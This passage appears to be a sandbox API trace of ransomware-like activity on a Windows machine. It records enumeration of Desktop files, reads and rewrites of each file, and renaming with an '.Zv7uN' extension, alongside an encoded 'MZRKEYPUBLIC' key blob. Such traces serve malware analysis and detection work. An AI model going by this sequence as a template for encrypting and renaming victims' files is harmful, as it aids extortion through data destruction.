rfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0127.664] GetCurrentThreadId () returned 0xa30 [0127.665] GetCurrentThreadId () returned 0xa30 [0127.665] GetCurrentThreadId () returned 0xa30 [0127.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.666] GetCurrentThreadId () returned 0xa30 [0127.666] GetCurrentThreadId () returned 0xa30 [0127.666] GetCurrentThreadId () returned 0xa30 [0127.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\nbT2p47a.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\nbt2p47a.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0127.666] SetFilePointer (in: hFile=0x1f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0127.666] SetFilePointer (in: hFile=0x1f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0127.666] SetFilePointer (in: hFile=0x1f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0xaab1 [0127.666] SetFilePointer (in: hFile=0x1f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0127.667] ReadFile (in: hFile=0x1f4, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xaab1, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18ee3c*=0xaab1, lpOverlapped=0x0) returned 1 [0127.669] CloseHandle (hObject=0x1f4) returned 1 [0127.670] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\nbT2p47a.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\nbt2p47a.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0127.673] WriteFile (in: hFile=0x1f4, lpBuffer=0x1f41ac0*, nNumberOfBytesToWrite=0xaab1, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f41ac0*, lpNumberOfBytesWritten=0x18ee48*=0xaab1, lpOverlapped=0x0) returned 1 [0127.677] CloseHandle (hObject=0x1f4) returned 1 [0127.677] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\nbT2p47a.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\nbt2p47a.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\nbT2p47a.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\-a4wri\\nbt2p47a.jpg.zv7un")) returned 1 [0127.678] GetCurrentThreadId () returned 0xa30 [0127.678] GetCurrentThreadId () returned 0xa30 [0127.678] GetCurrentThreadId () returned 0xa30 [0127.678] GetCurrentThreadId () returned 0xa30 [0127.678] GetCurrentThreadId () returned 0xa30 [0127.678] GetCurrentThreadId () returned 0xa30 [0127.678] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbd12cb0, ftCreationTime.dwHighDateTime=0x1d5e52d, ftLastAccessTime.dwLowDateTime=0x5cd2b7a0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x5cd2b7a0, ftLastWriteTime.dwHighDateTime=0x1d5e660, nFileSizeHigh=0x0, nFileSizeLow=0xaab1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="nbT2p47a.jpg", cAlternateFileName="")) returned 0 [0127.678] GetLastError () returned 0x12 [0127.678] FindClose (in: hFindFile=0x6aa100 | out: hFindFile=0x6aa100) returned 1 [0127.678] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\-a4wrI\\*.*", lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c1640d0, ftCreationTime.dwHighDateTime=0x1d5e1ff, ftLastAccessTime.dwLowDateTime=0x60c28120, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60c28120, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa100 [0127.679] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eeec | out: lpLocalFileTime=0x18eeec) returned 1 [0127.679] FileTimeToDosDateTime (in: lpFileTime=0x18eeec, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0127.679] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c1640d0, ftCreationTime.dwHighDateTime=0x1d5e1ff, ftLastAccessTime.dwLowDateTime=0x60c28120, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60c28120, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0127.679] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0127.679] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0127.679] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e3cba00, ftCreationTime.dwHighDateTime=0x1d5da4e, ftLastAccessTime.dwLowDateTime=0x74e36f60, ftLastAccessTime.dwHighDateTime=0x1d5e052, ftLastWriteTime.dwLowDateTime=0x60bdbe60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x35ed, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="CQFopTIqW0yv6qV8vaH.mp4.Zv7uN", cAlternateFileName="CQFOPT~1.ZV7")) returned 1 [0127.679] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0127.679] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0127.679] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbd12cb0, ftCreationTime.dwHighDateTime=0x1d5e52d, ftLastAccessTime.dwLowDateTime=0x5cd2b7a0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x60c28120, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xaab1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="nbT2p47a.jpg.Zv7uN", cAlternateFileName="NBT2P4~1.ZV7")) returned 1 [0127.679] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0127.679] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0127.679] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbd12cb0, ftCreationTime.dwHighDateTime=0x1d5e52d, ftLastAccessTime.dwLowDateTime=0x5cd2b7a0, ftLastAccessTime.dwHighDateTime=0x1d5e660, ftLastWriteTime.dwLowDateTime=0x60c28120, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xaab1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="nbT2p47a.jpg.Zv7uN", cAlternateFileName="NBT2P4~1.ZV7")) returned 0 [0127.679] GetLastError () returned 0x12 [0127.679] FindClose (in: hFindFile=0x6aa100 | out: hFindFile=0x6aa100) returned 1 [0127.680] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabbfc420, ftCreationTime.dwHighDateTime=0x1d5d945, ftLastAccessTime.dwLowDateTime=0xa78cf860, ftLastAccessTime.dwHighDateTime=0x1d5e655, ftLastWriteTime.dwLowDateTime=0x60af7620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14f27, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ed8NK4 c28hD0L1A.jpg.Zv7uN", cAlternateFileName="ED8NK4~1.ZV7")) returned 1 [0127.680] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.680] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.680] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8ef83b0, ftCreationTime.dwHighDateTime=0x1d5d826, ftLastAccessTime.dwLowDateTime=0x6ee69020, ftLastAccessTime.dwHighDateTime=0x1d5dd4a, ftLastWriteTime.dwLowDateTime=0x60b1d780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7bb9, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="q9PYuuDYFbL.flv.Zv7uN", cAlternateFileName="Q9PYUU~1.ZV7")) returned 1 [0127.680] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.680] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.680] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58db9f0, ftCreationTime.dwHighDateTime=0x1d5dc03, ftLastAccessTime.dwLowDateTime=0x2686efc0, ftLastAccessTime.dwHighDateTime=0x1d5e47d, ftLastWriteTime.dwLowDateTime=0x60b69a40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe355, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="QQ-JA.png.Zv7uN", cAlternateFileName="QQ-JAP~1.ZV7")) returned 1 [0127.681] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.681] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.681] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd04eaf0, ftCreationTime.dwHighDateTime=0x1d5e7e9, ftLastAccessTime.dwLowDateTime=0x43b8d7e0, ftLastAccessTime.dwHighDateTime=0x1d5d823, ftLastWriteTime.dwLowDateTime=0x60bb5d00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1188b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="rz5wZG.png.Zv7uN", cAlternateFileName="RZ5WZG~1.ZV7")) returned 1 [0127.681] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.681] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.681] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e4cc80, ftCreationTime.dwHighDateTime=0x1d5dfa9, ftLastAccessTime.dwLowDateTime=0x441b0790, ftLastAccessTime.dwHighDateTime=0x1d5e4c5, ftLastWriteTime.dwLowDateTime=0x441b0790, ftLastWriteTime.dwHighDateTime=0x1d5e4c5, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="xxHQGFPyd0BOtwqaWoa8.ots", cAlternateFileName="XXHQGF~1.OTS")) returned 1 [0127.681] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.681] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.681] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e4cc80, ftCreationTime.dwHighDateTime=0x1d5dfa9, ftLastAccessTime.dwLowDateTime=0x441b0790, ftLastAccessTime.dwHighDateTime=0x1d5e4c5, ftLastWriteTime.dwLowDateTime=0x441b0790, ftLastWriteTime.dwHighDateTime=0x1d5e4c5, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="xxHQGFPyd0BOtwqaWoa8.ots", cAlternateFileName="XXHQGF~1.OTS")) returned 0 [0127.681] GetLastError () returned 0x12 [0127.681] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0127.681] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b36320, ftCreationTime.dwHighDateTime=0x1d5dae7, ftLastAccessTime.dwLowDateTime=0x927c7b00, ftLastAccessTime.dwHighDateTime=0x1d5dd3e, ftLastWriteTime.dwLowDateTime=0x60aab360, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x62c1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZYdqwrH.pps.Zv7uN", cAlternateFileName="ZYDQWR~1.ZV7")) returned 1 [0127.681] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.681] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.682] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b36320, ftCreationTime.dwHighDateTime=0x1d5dae7, ftLastAccessTime.dwLowDateTime=0x927c7b00, ftLastAccessTime.dwHighDateTime=0x1d5dd3e, ftLastWriteTime.dwLowDateTime=0x60aab360, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x62c1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZYdqwrH.pps.Zv7uN", cAlternateFileName="ZYDQWR~1.ZV7")) returned 0 [0127.682] GetLastError () returned 0x12 [0127.682] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0127.682] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95c8a2b0, ftCreationTime.dwHighDateTime=0x1d5d8b2, ftLastAccessTime.dwLowDateTime=0x77510790, ftLastAccessTime.dwHighDateTime=0x1d5d9fd, ftLastWriteTime.dwLowDateTime=0x77510790, ftLastWriteTime.dwHighDateTime=0x1d5d9fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="WkutMmuC", cAlternateFileName="")) returned 0 [0127.682] GetLastError () returned 0x12 [0127.682] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0127.682] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c1d400, ftCreationTime.dwHighDateTime=0x1d5e158, ftLastAccessTime.dwLowDateTime=0xf343eab0, ftLastAccessTime.dwHighDateTime=0x1d5e08e, ftLastWriteTime.dwLowDateTime=0x6020a3a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x15383, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="8-_As94muf_-U.m4a.Zv7uN", cAlternateFileName="8-_AS9~1.ZV7")) returned 1 [0127.682] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.682] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.682] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d95d420, ftCreationTime.dwHighDateTime=0x1d5dcfe, ftLastAccessTime.dwLowDateTime=0x5e32ba40, ftLastAccessTime.dwHighDateTime=0x1d5dc43, ftLastWriteTime.dwLowDateTime=0x60256660, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf54e, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="86yCjlfQA.m4a.Zv7uN", cAlternateFileName="86YCJL~1.ZV7")) returned 1 [0127.682] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.683] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.683] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4f5e8c0, ftCreationTime.dwHighDateTime=0x1d5d955, ftLastAccessTime.dwLowDateTime=0xa2ffdba0, ftLastAccessTime.dwHighDateTime=0x1d5dacf, ftLastWriteTime.dwLowDateTime=0x602eebe0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x874d, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="A kh 8AjWTIhLTWgemc9.wav.Zv7uN", cAlternateFileName="AKH8AJ~1.ZV7")) returned 1 [0127.683] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.683] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.683] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d9e8ce0, ftCreationTime.dwHighDateTime=0x1d5de19, ftLastAccessTime.dwLowDateTime=0xa1de0820, ftLastAccessTime.dwHighDateTime=0x1d5e086, ftLastWriteTime.dwLowDateTime=0x60314d40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbc38, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="anR_vEBPJQoHgy6nuS.flv.Zv7uN", cAlternateFileName="ANR_VE~1.ZV7")) returned 1 [0127.683] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.683] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.683] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbecb8c0, ftCreationTime.dwHighDateTime=0x1d5dfb4, ftLastAccessTime.dwLowDateTime=0x6c6c79a0, ftLastAccessTime.dwHighDateTime=0x1d5e825, ftLastWriteTime.dwLowDateTime=0x6033aea0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9001, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="As_s0.xlsx.Zv7uN", cAlternateFileName="AS_S0X~1.ZV7")) returned 1 [0127.683] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.683] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.683] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x202b3430, ftCreationTime.dwHighDateTime=0x1d5e642, ftLastAccessTime.dwLowDateTime=0xfd792a60, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, 